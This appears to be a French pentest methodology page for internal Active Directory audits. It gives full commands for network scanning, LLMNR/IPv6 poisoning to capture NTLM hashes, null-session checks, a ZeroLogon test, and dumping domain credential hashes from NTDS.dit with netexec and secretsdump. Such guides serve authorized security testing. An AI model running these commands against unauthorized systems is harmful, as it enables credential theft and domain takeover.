Tests d'intrusion internes
Préparation & Pré-requis
- Préparer l’environnement de test ;
- Valider la présence de tous les outils nécessaires, dont à minima :
netexec,nmap,impacket,bloodhound,bloodyAD,krbrelayx, une suite office ; - Vérifier que la journalisation fonctionne correctement ;
- S’assurer que l’on possède les comptes utilisateurs pour la partie boîte grise.
Reconnaissance & Découverte du réseau
Accès au réseau
ifconfig # Consulter l'IP et les caractéristiques réseau
sudo dhclient eth0 -v # Demander l'attribution d'une adresse IP au serveur DHCPDans le cas où il n’y a pas de serveur DHCP, l’obtention d’une adresse IP ne se fera pas naturellement, il faut alors s’attribuer une IP fixe :
sudo systemctl stop NetworkManager
sudo ip addr flush eth0
sudo ip addr add $IP_ADDRESS/$MASK dev eth0Il peut être intéressant également, pour scanner d’autres sous-réseaux, d’ajouter des routes par défaut.
sudo ip route add default dev eth0 via $IP_GATEWAYEcoute passive du réseau
Lancer un above afin de lister les protocoles présents sur le réseau :
sudo above --interface $IFACE --timer $TIMERRegarder spécifiquement les protocoles LLMNR, NBT-NS, MDNS et les RS en IPv6.
Cartographie du réseau
Faire un nmap sur les réseaux/sous-réseaux identifiés et bien mettre l’option -oA pour avoir toutes les sorties.
nmap $IP -sT -sV -p- --open --min-rate 1000 -oA ScanNmap -vv -PnIl est conseillé d’importer les scans dans Metasploit pour s’en resservir par la suite lors d’analyses/exploits sur des services.
msfdb init # Initialiser la base de données de Metasploit
metasploit # Lancer Metasploit
# Dans Metasploit
msf > workspace -a $NOM # Créer un espace de travail pour le projet
msf > workspace $NOM # Rentrer dans l'espace de travail voulu
msf > db_import $XML_FILE # Import du XML généré par NmapTests en boîte noire
Empoisonnement ARP 🚧
TO DO
Empoisonnement DNS
Si l’on sait que des protocoles multidiffusion sont présents sur le réseau, lancer un responder afin de tenter de récupérer des hashs NTLMv2.
sudo responder -I $IFACE -wdvFLes résultats sont stockés dans /usr/share/responder/logs/Responder-Session.log
Si le protocole IPv6 est activé, il est encore plus simple et rapide de recueillir des hashs avec mitm6 :
mitm6 -i eth0 -d $DOMAINAttaque par relais NTLM
Si la signature SMB est désactivée sur certains serveurs et que de l’empoisonnement DNS est possible, il est alors envisageable de réaliser du relais NTLM.
Voir la partie consacrée à cette attaque : Relais NTLM
Etude des applicatifs
En fonction des résultats des scans, certains services réseaux seront ouverts et potentiellement exploitables. Voir les différents guides de la section “Services réseaux”
Sessions nulles et invités
Sur le contrôleur de domaine, on peut déjà vérifier si la session nulle est autorisée sur les protocoles RPC ou LDAP :
# Protocole RPC
rpcclient -p 135 -U '' -N $DC_IP
rpcclient -p 135 -U 'nonexistantaccount' -N $DC_IP
# Protocole LDAP
ldapdomaindump $DC_IPSur le protocole SMB, on a surtout envie de savoir si des partages sont ouverts sur le réseau et accessibles en tant qu’anonyme ou invité.
nxc smb $DC_IP -u 'nonexistantaccount' -p '' --shares
nxc smb $DC_IP -u '' -p '' --sharesZeroLogon
Avant de passer dans un contexte de boîte grise, il faut toujours vérifier si le DC est vulnérable à ZeroLogon avec le script zerologon_tester.py :
./zerologon_tester.py $DC_HOSTNAME $DC_IPNe surtout pas exploiter ZeroLogon sauf demande éclairée du client.
Tests en boîte grise
Dump des informations du domaine 🚧
Mots de passe dans le champ Description 🚧
Password Spraying 🚧
AS-REP Roasting
Voir la section consacrée à cette attaque : AS-REP roasting
Kerberoasting
Voir la section consacrée à cette attaque : Kerberoast
Exploitation des partages réseaux 🚧
ADIDNS Poisonning
Voir la section consacrée à cette attaque : ADIDNS Poisoning
Délégation Kerberos 🚧
GPO & GPP 🚧
ADCS et ESCs 🚧
- Est-ce que l’extension PKINIT est activée ? Si oui, vérifier la présence de la vulnérabilité Shadow Credential
NoPAC
Voir la section consacrée à cette attaque : NoPAC
Post exploitation 🚧
Extraire la base NTDS.dit
Cette manipulation nécessite les privilèges d’administrateur du domaine
Extraction à distance
Extraction avec netexec :
nxc smb $DC_IP -d $DOMAIN -u $USER -p $PASS --ntds # Password
nxc smb $DC_IP -d $DOMAIN -u $USER -H $HASH --ntds # Hash NTLMExtraction avec la suite impacket :
secretsdump.py '$DOMAIN/$USER@$FQDN' -k -no-pass # Kerberos Auth
secretsdump.py '$DOMAIN/$USER:$PASS@$FQDN>' # Password Auth
secretsdump.py '$DOMAIN/$USER@$FQDN' -hashes ':$NTLM_HASH' # Hash AuthExtraction en locale
Il est possible également de récupérer la base ntds.dit depuis le controleur de domaine et de l’extraire localement depuis la machine d’audit. Les fichiers nécessaires sont les suivants :
%SYSTEMROOT%\NTDS\ntds.dit
%SYSTEMROOT%\System32\config\SYSTEMUne fois ces deux fichiers récupérés, il est possible d’utiliser secretsdump pour extraire la base localement.
impacket-secretdump -ntds ntds.dit -system SYSTEM LOCAL